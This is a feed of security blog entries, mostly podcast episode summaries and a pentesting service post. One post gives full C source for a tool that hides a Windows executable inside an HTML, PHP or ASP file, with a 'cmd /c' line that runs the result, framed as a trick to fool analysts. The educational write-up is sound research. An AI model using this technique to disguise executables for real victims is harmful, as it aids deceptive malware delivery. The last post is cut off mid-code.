Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Red teamers arrested conducting a penetration test | Guests Gary DeMercurio and Justin Wynn

By: Infosec
5 October 2020 at 07:00

The story of today's guests is ripped straight from the headlines. Gary DeMercurio and Justin Wynn, both of the company Coalfire, were arrested at the Dallas County Courthouse while doing red team pentesting for the State of Iowa’s judicial branch. Their story is fascinating, and they discuss that fateful night as well as ways in which similar incidents could be avoided in the future. You can’t be too timid as a red teamer, they say. "If you're bragging as a red teamer about how you've never been caught, you're not pushing the operation as far as you should. You SHOULD be caught sometimes."

– Get your free security awareness toolkit: https://infosecinstitute.com/ncsam2020
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Gary DeMercurio runs one of the largest groups in Coalfire Labs as a Senior Manager working with technologies every day. His expertise focuses on social engineering, physical testing and network devices. At Coalfire, Gary manages day-to-day business involved with FedRAMP, PCI, HIPPA and penetration testing, while helping to spearhead the physical and social engineering portion of testing.

As a Senior Security Consultant, Justin Wynn is responsible for actively compromising and reporting on virtual environments typically encountered at Fortune 500 companies. Justin performs wireless, physical, red team and social engineering engagements. Justin also conducts research to include the production of open-source models for printing/milling to aid in red team engagements, with specific regard to tool gaps in the locksport industry as well as master keys for access control/elevator overrides. Currently, Justin is researching security vulnerabilities in various RFID devices.

About Infosec
At Infosec, we believe knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with certifications and skills training. We also empower all employees with security awareness training to stay cybersafe at work and home. Driven by smart people wanting to do good, Infosec educates entire organizations to defend themselves from cybercrime. It’s what we do every day — equipping everyone with the latest security skills and confidence to be safe online. Learn more at infosecinstitute.com.

💾

Starting a cybersecurity business and building a diverse workforce | Guest Christine Izuakor

By: Infosec
28 September 2020 at 07:00

Despite being told she was “too young, too inexperienced, and too naïve” to contribute anything to the industry, Christine Izuakor decided to pursue a Ph.D. in Security Engineering at the age of 23. Four years later she completed the program, making her the youngest student and first African American woman to do so. On today’s episode, Dr. Izuakor talks about being a security engineering prodigy, hiring for a diverse workforce and her new company, Cyber Pop-up, an on-demand cybersecurity service platform powered by vetted freelancers.

– Get your free security awareness toolkit: http://infosecinstitute.com/ncsam2020
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Christine Izuakor is a Houston native, born of two parents who immigrated to America from Nigeria to pursue higher education. Starting from humble beginnings, Christine has always been motivated to maximize on the opportunities her parents and community created for her. In 2013, Christine decided to pursue a Ph.D. in Security Engineering at the University of Colorado. Her research contributions were published in numerous international journals, and she presented in international conferences from South Korea to Rome, Italy. During this entire journey, Dr. Izuakor also maintained a full-time job within the cyber security team of a Fortune 100 company. 

Most recently, in 2020, Dr. Christine Izuakor shook up the industry with her departure from the corporate arena coupled with the launch of her new cybersecurity startup, Cyber Pop-up (www.cyberpopup.com), an on-demand cybersecurity service platform powered by vetted freelancers.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win.

💾

Cloud security best practices and career tips | Guest Oliver Tavakoli

By: Infosec
21 September 2020 at 07:00

What exactly is the cloud? And how do you secure infrastructure that is not your own? On today’s episode, Oliver Tavakoli, chief technology officer at Vectra AI, discusses current cloud security best practices as well as tips he’s picked up during his 25-year cybersecurity career. He also has some good advice for people thinking of starting their own company (hint: have cash saved up, you're going to be money-losing for quite a while!).

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Oliver Tavakoli is a technologist who has alternated between working for large and small companies throughout his 25-year career – he is clearly doing the latter right now. Prior to joining Vectra AI, Oliver spent more than seven years at Juniper as chief technical officer for the security business. Oliver joined Juniper as a result of its acquisition of Funk Software, where he was CTO and better known as developer #1 for Steel-Belted Radius. Prior to joining Funk Software, Oliver co-founded Trilogy Inc., and prior to that, he did stints at Novell, Fluent Machines and IBM. Oliver received an MS in mathematics and a BA in mathematics and computer science from the University of Tennessee. 

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Job hunting tips for cybersecurity professionals | Guest Eric Jeffery

By: Infosec
14 September 2020 at 07:00

Learn all about cybersecurity job hunting with Eric Jeffery, senior managing consultant and solutions architect for IBM Security. Eric created the "Cyber Security Gray Beard" podcast to share his job experiences and help others advance their careers so they too can enjoy professional happiness in the cybersecurity industry. We dive deep into job hunting, rebounding if you've been fired or let go, ways non-technical people can make an impact in cybersecurity and other types of career advice he dispenses on his show.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Eric Jeffery has over 20 years’ experience in cybersecurity and currently works as a senior managing consultant and solutions architect for IBM Security. Eric has extensive industry experience with stints in entertainment, defense, aerospace, healthcare and technology, among others. He’s published numerous articles and spoken at several conferences around the U.S. and Canada. He runs a podcast under the moniker of Cyber Security Grey Beard® where he helps students and early professionals begin and grow in the cybersecurity field. Eric lives outside of Denver, Colorado, with his wife and has four grown children.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 



💾

Get started in computer forensics: Entry-level tips, skills and career paths | Guest Amber Schroader

By: Infosec
7 September 2020 at 07:00

This week we're excited to have back one of the major figures in digital forensics, Paraben CEO Amber Schroader. Amber dives deep into the specific forensics skills you need to be successful, traits that make a good forensics investigator (her best team member is someone with a psychology background!) and the art of understanding language and semantics — all while walking us through key moments of a case. If you're looking towards career advice in computer forensics, get ready to learn from one of the best!

– Don't miss Amber's live forensics demo on Discord: https://www.youtube.com/watch?v=7jdVqtXT5d8
– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Amber Schroader is the CEO & Founder of Paraben Corporation. She has spent the last two decades as a driving force for innovation in digital forensics. Amber has developed over two-dozen software programs designed for the purposes of recovering digital data from mobile phones, computer hard drives, email and live monitoring services. In addition to designing technology for digital forensics, she also spearheaded the procedures for mobile and smartphone devices as well as the emerging field of IoT devices. Amber is the patent holder on the EMI shielding container, otherwise known as a Faraday bag, as well as inventor to many other shielding products. Amber has written and taught numerous classes for this specialized field as well as founded multiple certifications in the field. Ms. Schroader continues support through book contributions and other industry speaking engagements.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 



💾

Getting into security architecture: Careers, skills and ransomware | Guest Pranshu Bajpai

By: Infosec
31 August 2020 at 07:00

Get a peek behind the curtain of security architecture careers from Pranshu Bajpai, a security architect with Motorola who recently earned his doctorate in computer science with an emphasis on ransomware research and analysis. Pranshu discusses how to break into security architecture and build the skills you need for that type of a career. In particular, he says academic study at that height mostly prepares you for research and teaching work, and there are there are quicker and easier ways to build up your skill set.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Pranshu Bajpai has research interests in systems security, malware, digital forensics and threat intelligence. He has authored several papers for reputed magazines and journals including IEEE, Elsevier, ACM and ISACA. His work has been featured in various media outlets including Scientific American, The Conversation, Salon, Business Standard, Michigan Radio, GCN, GovTech and others. He is an active speaker at conferences and has spoken at APWG eCrime, DEFCON, GrrCon, Bsides, ToorCon and many others. He obtained his doctorate in Computer Science from Michigan State University and master's in Information Security from Indian Institute of Information Technology. 

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Continuous Pentesting

26 August 2020 at 08:39

At SCRT, we have been performing penetration tests for nearly 20 years now and have always tried to improve our methodologies to match client expectations and deliver the most accurate and useful results from each test we undertake.

Over the last few years, Bug bounty programs have been making a name for themselves as they bring a new approach to assessing the security level of a company, application or system. They allow for a more continuous, albeit less controlled, testing of a targeted scope.

Some people will probably argue that bug bounties and pentests are antagonistic, while I believe that they are two very complementary approaches for achieving a better overall security level. Mature companies tend to move towards a system where penetration tests are performed to discover vulnerabilities and essentially verify the security level of an application or system when it is deployed or updated, and a bug bounty program is then used to ensure a sort of continuous monitoring from a larger population of bug hunters.

There are advantages and drawbacks to both pentesting and bug bounties, which is why they can be used together to achieve better results. I’ve attempted to compare both options in a rather simplified manner, while trying to emphasize where each option outperforms the other.

Obviously some people will disagree with what is considered as an advantage and what isn’t but I have tried to remain as neutral as possible and typically, when it comes to costs, the fact they are essentially unknown and entirely dependent on the number of vulnerabilities and their classification in a bug bounty program will be seen as a clear advantage for some and an inconvenient for others, which is why I’ll let you decide where you stand on that issue.

The same goes for the duration. I would tend to believe that an unlimited test would be more interesting than a limited one, but it also means that the company must be able to react to potential incidents at any time and coordinate more closely with the SOC.

We have noticed that many companies are reluctant to setting up a bug bounty program. Having helped in organising and managing the Public Intrusion Test (PIT) for the Swiss e-voting system last year (which was essentially a temporary bug bounty program), we also understand why. The main issues we ran into can be summarised as such:

  • Poor quality and out of scope submissions
  • Difficult to know how many people (if any) will actually look at the system
  • Difficulty to establish a trust relationship with the participants as they are essentially anonymous
  • Difficulty to define the bounty amounts and control costs (although this wasn’t done by us in this case)

Now I know most Bug bounty platforms will attempt to help companies in managing these issues, but we felt there was a way SCRT could also help our clients bridge the gap between traditional pentesting and bug bounties. This is where our Continuous pentesting offer comes in.

The idea is to take the advantages of both the pentesting and bug bounty worlds while minimising the drawbacks. The main advantage of this system is that whatever elements are included in the scope are assured to be tested by a rotating pool of trusted SCRT engineers at various times throughout the year.

Regarding costs, we are sticking to a more traditional pentesting approach, where we will be using a per-day rather than per-vulnerability model so as to fully control the costs of the tests beforehand.

We cannot provide a 24/7 monitoring of all vulnerabilities within a specific scope, but by avoiding pre-planned dates, it gives us the flexibility to test when new vulnerabilities or types of attacks emerge so that we can verify whether or not your systems are affected in a more dynamic and proactive way.

If you’re interested in this approach, feel free to contact us to get additional details and see how we can best adapt our offer to your requirements.

Data privacy careers: GDPR, CCPA and the right to be forgotten | Guest Gabe Gumbs

By: Infosec
24 August 2020 at 07:00

Whose responsibility is privacy, and what skills do you need to effectively implement and carry out new regulations like the right to be forgotten? On today's episode, Gabe Gumbs, Chief Innovation Officer at Spirion, discusses how GDPR and CCPA are affecting cybersecurity careers and how the data privacy job market will shift in the coming years. He also shares his thoughts on the much-discussed cybersecurity skills gap — and why it's never really existed.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Gabe Gumbs has a deep-rooted passion for technology, information security and problem solving. As Chief Innovation Officer of Spirion, a leader in rapid identification and protection of sensitive data, he’s channeling that passion to make the digital world a safer place. By spearheading Spirion’s vision for data privacy in the next decade and beyond, he’s leading the way to a more secure and private future for us all.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Computer forensics careers: Taking down a $1.2 billion Ponzi scheme | Guest Sam Rubin

By: Infosec
17 August 2020 at 07:00

Few people know what it's like to help take down a $1.2 billion dollar Ponzi scheme, but that's exactly what today's guest did. Sam Rubin, VP at The Crypsis Group, explains how he had to re-create the crime within a courtroom, as well as the tasks of digital forensics folks at all levels, from intern to the person giving the testimony. There's a good chance you may want to go into a career in forensics after listening to all of Sam's stories.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Sam Rubin is a Vice President at The Crypsis Group, where he leads the firm’s Managed Security Services business, assists clients and develops the firm’s business expansion strategies. Sam is an industry-recognized cybersecurity professional with wide-ranging expertise in data breach incident response, digital forensics and cybersecurity risk management. Sam frequently serves as an expert witness and has provided expert opinions in numerous high-stakes matters, including a landmark civil trade secret misappropriation case, a criminal securities fraud matter and civil litigation stemming from a multi-billion-dollar Ponzi scheme. Sam is a frequent presenter, author and lecturer on cyber-related topics, including digital forensics and incident response, insider threats and information security best practices. Before joining Crypsis in 2017, Sam was at Stroz Friedberg, where he was Managing Director and head of the company’s west region digital forensic practice.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Threat modeling: Breaking the design with pen, paper and creativity | Guest Geoffrey Hill

By: Infosec
10 August 2020 at 07:00

Go deep into the weeds of Threat Modeling with Infosec Skills author Geoffrey Hill. He shares his Arnold Schwarzenegger impersonation, waxes rhapsodic about the Radio Shack TRS-80 computer and explains threat modeling as a controlled form of sci-fi storytelling: "you can imagine a completely different world every day." He also provides excellent insight into the day-to-day duties of a threat modeler. 

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Geoffrey Hill has been in the IT industry since 1990, when he wrote and sold C++ based solutions to measure risk in the commodities markets in New York City. Since then he has worked around the world, specifically New York, Sydney, Tokyo, Emmerich-am-Rhein and London. In the mid-2000s, He was the main custodian of the Microsoft Security Development Lifecycle (SDL) initiative in the UK and then international services organization as part of the Microsoft Security Center of Excellence (SCOE). From 2013 – 2018, he worked as the sole application security architect for Visa Europe in London, where he started Tutamantic Ltd, a producer of software risk automation. Geoff is the inventor of the Rapid Threat Model Prototyping (RTMP) methodology. This threat model methodology allows for quick modelling in Agile and DevOps environments.

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

NICE Cybersecurity Workforce Framework: Close your skills gap with role-based training | Guests Leo Van Duyn and Bill Newhouse

By: Infosec
6 August 2020 at 07:00

The demand for skilled cybersecurity professionals continues to grow, and effectively closing that gap requires a shared set of expectations around common work roles, core competency areas and upskilling employees.

Join Leo Van Duyn, Cybersecurity & Technology Workforce Development Strategy at JPMorgan Chase & Co., and Bill Newhouse, Deputy Director of the National Initiative for Cybersecurity Education (NICE) to learn how your organization can use the NICE Cybersecurity Workforce Framework (soon to be renamed the Workforce Framework for Cybersecurity) to establish a common language around skill development, provide targeted role-based training, create custom role profiles to match your organization, and better identify, hire and cross-train employees.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

API security, vulnerability research and LGBTQ+ representation | Guest Alissa Knight

By: Infosec
3 August 2020 at 07:00

Alissa Knight returns as the first ever three-peat Cyber Work guest, and the topic this week is — herself! Recorded at the end of pride month, Alissa talks about the benefits of diversity and inclusion when it comes to cybersecurity, her work hacking Bluetooth LE smart devices, her new company Knight Ink and a concept she’s created called “adversarial content.”

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Alissa Knight is a published author, the managing partner at Knight Ink, principal analyst at Alissa Knight & Associates and group CEO at Brier & Thorn. She is a recovering hacker of 20 years and as a serial entrepreneur has started and sold two companies prior to her ventures she runs now. Alissa is a cybersecurity influencer working for market leaders and challenger brands in cybersecurity as a content creator. Follow her on Twitter and LinkedIn, and subscribe to her YouTube channel to follow her adventures in entrepreneurship and cybersecurity.

– YouTube: https://www.youtube.com/channel/UCejZj1i5m_UlwPqu_7IqBwQ
– Twitter: https://twitter.com/alissaknight?lang=en
– LinkedIn: https://www.linkedin.com/in/alissaknight/

About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

From network engineer to pentester: Tips for moving into cybersecurity | Guest Brad Pierce

By: Infosec
27 July 2020 at 07:00

Today we're discussing a common career path, moving from networking to cybersecurity. Brad Pierce, Director of Network Security for HORNE Cyber, is a former network engineer turned pentesting and security professional. He does a great job of explaining the different skill sets required for network engineering versus cybersecurity, where those skills overlap and tips he picked up during his career transition.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

With 15 years of experience in IT and cybersecurity, Brad Pierce, Director of Network Security for HORNE Cyber, focuses on collaborating with executive leadership teams to strengthen their security posture. He has experience working with organizations in various industries to uncover and remediate vulnerabilities and develop and implement security programs. Brad manages HORNE Cyber’s cybersecurity operations center where he, along with a team of cyber analysts, monitors live network traffic for clients in search of active threats. Brad creates information security awareness programs and guides clients on how to best address cyber risks and remediate vulnerabilities.


About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Inside a purple team: Pentesting, vulnerabilities and other key skills | Guest Luke Willadsen

By: Infosec
20 July 2020 at 07:00

We love red teaming here at Cyber Work, and this week we're excited to explore a topic just few shades down the spectrum: purple teaming! Luke Willadsen of EmberSec dives into the ways combining red and blue team operations can help stress-test your security department — and explains the benefits of a purple team better than we've ever heard it before. He also has some great stuff to say about the importance of soft skills like writing, reporting and, most crucially, empathy, since it may feel like a pentester holds the security team's career in their hands.

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast


Luke Willadsen currently serves as a security consultant with EmberSec, a By Light company. He began his cybersecurity career in the U.S. Navy, where he trained to conduct offensive security operations for the Department of Defense. He participated in daily computer network exploitation missions in support of national intelligence requirements and protection against foreign nation-state sponsored hackers. After separating from the U.S. Navy, Luke joined the start-up company IronNet Cybersecurity where he conducted penetration tests and vulnerability assessments, while also providing product development support and threat hunting capabilities. Following his time at IronNet, Luke worked as a director at a security consulting firm, where he specialized in red teaming, penetration testing, intelligence gathering, threat hunting, digital forensics and technical writing. Luke has an M.S. degree from Eastern Michigan University and is CISSP, OSCP and CEH certified.


About Infosec
At Infosec, we believe knowledge is the most powerful tool in the fight against cybercrime. We help IT and security professionals advance their careers with a full regimen of certifications and skills development training. We also empower all employees with security awareness and training to stay cybersecure at work and home. Founded by smart people wanting to do good, Infosec educates entire organizations on how to defend themselves from cybercrime. That’s what we do every day — equipping everyone with the latest security skills so the good guys win. 

💾

Hacking the World with HTML

19 July 2020 at 21:01

In my previous article Exploring the MS-DOS Stub I stated that after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program. Check it out if you have not.

If you take a PE file and null out the MS-DOS header and the MS-DOS stub program leaving out the e_magic and the e_lfanew values, the PE will still work fine as the rest is not needed by the Windows PE loader. The e_lfanew address at offset 0x3c is important as it points to the beginning of the _IMAGE_NT_HEADERS structure which is the actual start of the PE file.

Since those values are not important we can insert an HTML comment from offset 0x2 which is the e_cblp value and begin an HTML comment and end the comment at the end of the PE and append our HTML/PHP/ASP/JSP file contents.

I wrote a simple program in C to automate this task. You can provide your PE file and the HTML/PHP/ASP/JSP file to inject and it will generate an HTML file. You can rename the file into the extension you desire.

https://github.com/OsandaMalith/PE2HTML

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifdef _WIN32
#include <io.h>
#endif

#define MAX 500
#define e_cblp 0x2
#define STUB 0x40

/*
Author: Osanda Malith Jayathissa (@OsandaMalith)
Write-up: https://osandamalith.com/2020/07/19/hacking-the-world-with-html/
Disclaimer: Author takes no responsibility for any damage you cause.
Use this for educational purposes only.
Copyright (c) 2020 Osanda Malith Jayathissa
https://creativecommons.org/licenses/by-sa/3.0/
*/

void inject(char *, char *);
void dump(void *, int);
void 
banner() {
	fflush(stdin);
	const static char *banner =
		"\t        _-_.\n"
		"\t     _-',^. `-_.\n"
		"\t ._-' ,'   `.   `-_ \n"
		"\t!`-_._________`-':::\n"
		"\t!   /\\        /\\::::\n"
		"\t;  /  \\      /..\\::: PE 2 HTML Injector\n"
		"\t! /    \\    /....\\:: Coded by Osanda Malith Jayathissa (@OsandaMalith)\n"
		"\t!/      \\  /......\\: https://osandamalith.com\n"
		"\t;--.___. \\/_.__.--;; \n"
		"\t '-_    `:!;;;;;;;'\n"
		"\t    `-_, :!;;;''\n"
		"\t        `-!'  \n";
	for (banner; *banner; ++banner) fprintf(stdout, "%c", *banner);
}

int
main(int argc, char *argv[]) {
	size_t i;
	char *fileName, *payload;

	banner();
	if (argc != 5) {
		printf("\n[-] Usage: %s -i <PE> -p <HTML/PHP/ASP File> \n", argv[0]);
		puts("[*] The output will be in .html, You may rename it to the format you desire.");
		return 1;
	}

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-i")) fileName = argv[i + 1];
		if (!strcmp(argv[i], "-p")) payload = argv[i + 1];
	}

	inject(payload, fileName);
	return 0;
}

void inject(char *payload, char *fname) {
	int src, dst, sz;
	char myCurrentChar, newFilename[MAX], check[1],
	*hex = (char *)calloc(0x80, sizeof(char)),
	*comment = "\x3c\x21\x2d\x2d",
	*comment_end = "\x2d\x2d\x3e";

	strncpy(newFilename, fname, MAX);
	newFilename[strlen(fname) - 3] = '\0';
	strcat(newFilename, "html");

#ifdef _WIN32
	src = _open(fname, O_RDONLY | O_BINARY, 0);
	dst = _open(newFilename, O_CREAT | O_TRUNC | O_WRONLY | O_BINARY, S_IREAD | S_IWRITE);

#elif __unix__
	src = open(fname, O_RDONLY, 0);
	dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
#endif

	check[sz = read(src, check, 2)] = '\0';
	if (strcmp(check, "MZ")) {
		fprintf(stderr, "[!] Enter a valid PE file"); 
		close(src);
		exit(-1);
	}
	
	lseek(src, 0, SEEK_SET);
	while (read(src, &myCurrentChar, 1)) write(dst, &myCurrentChar, 1);

	lseek(dst, e_cblp, SEEK_SET);

	printf("[*] Commenting the MS-DOS e_cblp at offset 0x%x\n\n", e_cblp);
	write(dst, comment, strlen(comment));

	close(src);
	close(dst);

#ifdef _WIN32
	dst = _open(newFilename, O_RDONLY | O_BINARY, 0);
#elif __unix__
	dst = open(newFilename, O_RDONLY, 0);
#endif

	hex[sz = read(dst, hex, 0x80)] = '\0';
	dump(hex, sz);

	free(hex);
	close(dst);

#ifdef _WIN32
	src = _open(payload, O_RDONLY | O_BINARY, 0);
	dst = _open(newFilename, O_WRONLY | O_APPEND | O_BINARY, 0);

#elif __unix__   
	src = open(payload, O_RDONLY, 0);
	dst = open(newFilename, O_WRONLY | O_APPEND, 0);
#endif

	puts("\n[*] Appending the Payload");
	write(dst, comment_end, strlen(comment_end));
	while (read(src, &myCurrentChar, 1)) write(dst, &myCurrentChar, 1);

	close(src);
	close(dst);

	printf("[+] Successfully written to %s\n", newFilename);
}

void dump(void *addr, int len) {
	size_t i;
	unsigned char buff[0x80];
	unsigned char *pc = (unsigned char*)addr;

	for (i = 0; i < len; i++) {
		if (!(i % 16)) {
			if (i) printf("  %s\n", buff);
			printf("  0x%04X: ", i);
		}
		printf(" %02X", pc[i]);
		buff[i % 16] = (pc[i] < 0x20) || (pc[i] > 0x7e) ? '.' : pc[i];
		buff[(i % 16) + 1] = '\0';
	}
	while ((i % 16)) {
		printf("   ");
		i++;
	}
	printf("  %s\n", buff);
}
/*EOF*/

Another thing to note is that in Windows, cmd.exe and rundll32 will treat any file with any extension as a valid PE as long as it begins with the IMAGE_DOS_SIGNATURE.

By abusing these Windows features (bugs) we can execute our HTML files as executables as well as run in the web browser displaying HTML/PHP/ASP/JSP content.

You can run the newly created PE file with HTML extension or with any extension using cmd.

cmd /c file.html

Process explorer output would look like this.

Rundll32 does not validate any extensions, therefore you can execute any DLL with any extension.

By combining these features (bugs) an attacker can achieve social engineering. This won’t bypass any AV or any EDR. But will surely confuse the analyzer. Might be a handy trick to use at the last stage once your payload is undetectable.

A checksum check can be used to prevent attackers from modifying the MS-DOS header. But a skilled reverse engineer may find the checksum routine and patch it to bypass the anti-reversing technique.

The author takes no responsibility for any damage you cause. This is strictly written for educational purposes.

Exploring the MS-DOS Stub

19 July 2020 at 16:23

A long time ago when I got my first computer, I accidentally opened a 32-bit demo with a nice chiptune inside MS-DOS and it worked. I was surprised by how this happens. I was curious to find out how this works behind the scenes. Back in the time I was a little kid and had no clue about programming. This curiosity leads me to discover amazing things I never imagined.
First, let us have a look at the PE header. It starts with the MS-DOS header and contains a 16-bit MS-DOS executable (stub program).


(source: https://commons.wikimedia.org/wiki/File:Portable_Executable_32_bit_Structure.png)

This is the MS-DOS header in detail.

#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ
#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Every PE file starts with an MS-DOS executable which starts with the IMAGE_DOS_SIGNATURE. The ASCII representation is 0x5A4Dwhich is MZ. The letters “MZ” stands for Mark Zbikowski, who is one of the original architects of MS-DOS and the designer of the MS-DOS executable format. The first member _IMAGE_DOS_HEADER.e_magic contains the signature.

In the above image at offset 0x3c is the e_lfanew member of the _IMAGE_DOS_HEADER. This address points to the new EXE header which is the _IMAGE_NT_HEADERS.
In this case, e_lfanew contains 0x00000120 which points to the beginning of the structure _IMAGE_NT_HEADERS.Signature which contains the IMAGE_NT_SIGNATURE. The ASCII representation is 0x00004550 which is PE00
Basically, after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program.

In any 32-bit/64-bit PE file, you will see a tiny MS-DOS stub program. From offset 0x40 to 0x7f is this stub program which is of 64 bytes.
Let us remove the MS-DOS header with the stub program and disassemble the code.

It is a simple 16-bit assembly program which prints This program cannot be run in DOS mode and exit.
If we run this 64-bit PE inside DOS, the stub will execute, and we get that message.

I wanted to debug this 64-bit PE inside DOS and see for myself how things work. If we look at the DOS header those values can be seen inside the debugger, which proves the MS-DOS header is only needed for MS-DOS to execute its stub. But as I’ve mentioned earlier the members e_magic and the e_lfanew are important for the Windows loader.

From the above image, the values e_sp which is the initial stack pointer 0x00B8 and e_ip which is the initial instruction pointer 0x0000 can be seen in the below image when beginning to debug. The same 16-bit assembly code we dissembled can be seen which will execute and print that text.

I wanted to write my own stub program. Let us try to write some 16-bit asm code to print my name 5 times in green colour.
The C program looks like this.

#include <stdio.h>
int main() {
  size_t i = 0;
  while (i++<5) puts("@OsandaMalith");
